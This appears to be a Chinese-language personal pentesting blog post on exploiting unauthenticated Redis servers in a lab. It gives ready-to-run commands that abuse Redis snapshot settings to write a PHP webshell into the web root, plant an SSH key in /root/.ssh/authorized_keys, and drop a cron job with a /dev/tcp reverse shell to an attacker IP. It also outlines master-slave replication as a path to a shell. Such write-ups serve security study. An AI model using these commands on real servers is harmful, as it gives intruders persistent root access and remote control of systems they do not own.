redis未授权访问

redis未授权访问

1.redis未授权访问

Redis 是一个高效的数据库,默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未经授权就可以访问 Redis 以及读取 Redis 的数据。

关闭保护后即可任意连接且命令执行

image-20250926112221644

2.写入webshell

image-20250926113044880

原理是利用redis能自定义其rdb快照文件的保存路径和保存文件名,且内容可写

1
2
3
4
config set dir /var/www/html
config set dbfilename haha.php
set webshell "<?php phpinfo(); ?>"
save

image-20250926112607058

image-20250926112653052

注意开启redis服务的用户要对web目录有写的权限

3.写入ssh公钥实现ssh登录

先生成公钥

image-20250926113544823

将公钥写入key.txt,换行是为了防止与其他内容混淆

1
2
3
cd /root/.ssh
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt

将key.txt的内容存入到redis的缓冲中

1
cat /root/.ssh/key.txt |./redis-cli -h 192.168.178.128 -x set pub

利用redis可以任意保存快照文件的机制写入到/root/.ssh/authorized_keys

1
2
3
4
./redis-cli -h 192.168.178.128
config set dir /root/.ssh
config set dbfilename authorized_keys
save

image-20250926114119206

注意的是,redis保存快照的机制只能任意创建文件,不能创建目录,所以操作的前提是目标目录要存在

4.写入定时任务实现反弹shell

同样利用任意写入的机制写个反弹shell到cron目录下

1
2
3
4
5
6
7
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.224.129/5555 0>&1\n\n"  # ip改为攻击机的IP

config set dir /var/spool/cron

config set dbfilename root

save

这里我没成功,因为我用的kali开的redis服务,好像只有centos才行

  • 文件权限差异:Redis 默认写文件的权限是 644,在 CentOS 系统下,定时任务文件所在的 /var/spool/cron/ 目录及其子文件对这种权限的兼容性较好,能够正常解析和执行写入的定时任务。而在 Ubuntu 等系统中,定时任务文件可能需要 600 的权限才能正常工作,Redis 写入的文件权限不符合要求,导致定时任务无法被正确解析执行。

  • 系统对乱码的处理方式:当 Redis 向定时任务文件里写入内容时,可能会出现乱码。CentOS 系统会忽略这些乱码,只要定时任务的格式在整体上是正确的,就会执行其中的命令,这使得反弹 shell 命令有机会被执行。而其他一些系统,如 Ubuntu 和 Debian,对定时任务文件的格式要求更为严格,乱码可能会导致语法错误,从而使定时任务无法执行。

5.redis主从复制

redis主从复制,redis会以一台机子为主节点,多台机子为从节点,其中主节点有写的权限,从节点只有读的权限,且主节点数据的改变会实时同步到从节点。原理就是攻击机作为主节点去连接目标机的redis服务,目标机作为从节点要同步我们在攻击机的数据,从而拿到了shell

f084fd6a2f0cf16b0dd3b99f21d954a2

成功执行命令


redis未授权访问
http://fearless-123.github.io/2025/09/24/渗透/redis未授权访问/
作者
fearless123
发布于
2025年9月24日
许可协议